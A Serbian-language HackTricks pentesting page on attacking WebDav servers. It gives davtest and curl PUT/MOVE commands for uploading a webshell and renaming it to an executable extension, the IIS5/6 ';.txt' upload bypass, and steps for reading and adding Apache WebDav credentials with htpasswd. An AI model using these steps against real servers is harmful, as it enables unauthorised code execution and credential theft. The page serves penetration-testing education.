WebDav
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Kada se radi sa HTTP serverom sa WebDav omogućenim, moguće je manipulisati datotekama ako imate prave akreditive, obično proverene putem HTTP Basic Authentication. Sticanje kontrole nad takvim serverom često uključuje upload i izvršavanje webshell-a.
Pristup WebDav serveru obično zahteva važeće akreditive, pri čemu je WebDav bruteforce uobičajena metoda za njihovo sticanje.
Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:
- Upload-ovati datoteke sa izvršnim ekstenzijama direktno ako nisu ograničene.
- Preimenujte uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
- Kopirajte uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.
DavTest
Davtest pokušava da uploaduje nekoliko datoteka sa različitim ekstenzijama i proverava da li je ekstenzija izvršena:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
Ovo ne znači da se .txt i .html ekstenzije izvršavaju. To znači da možete pristupiti ovim datotekama putem veba.
Cadaver
Možete koristiti ovaj alat da se povežete na WebDav server i izvršite radnje (kao što su upload, move ili delete) ručno.
cadaver <IP>
PUT zahtev
curl -T 'shell.txt' 'http://$ip'
MOVE zahtev
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav ranjivost
Ova ranjivost je veoma interesantna. WebDav ne dozvoljava upload ili preimenovanje fajlova sa ekstenzijom .asp. Ali možete obići ovo dodajući na kraj imena ";.txt" i fajl će biti izvršen kao da je .asp fajl (takođe možete koristiti ".html" umesto ".txt" ali NE zaboravite ";").
Zatim možete upload vaš shell kao ".txt" fajl i kopirati/premestiti ga u ".asp;.txt" fajl. Pristupanjem tom fajlu preko web servera, biće izvršen (cadaver će reći da akcija premestanja nije uspela, ali jeste).
Post akreditivi
Ako je Webdav koristio Apache server, trebali biste pogledati konfigurisane sajtove u Apache-u. Obično:
_/etc/apache2/sites-enabled/000-default_
Unutra možete pronaći nešto poput:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
Kao što možete videti, postoje datoteke sa važećim credentials za webdav server:
/etc/apache2/users.password
Unutar ovog tipa datoteka naći ćete korisničko ime i hash lozinke. Ovo su akreditivi koje webdav server koristi za autentifikaciju korisnika.
Možete pokušati da ih provalite, ili da dodate više ako iz nekog razloga želite da pristupite webdav serveru:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
Da biste proverili da li nove kredencijale rade, možete uraditi:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.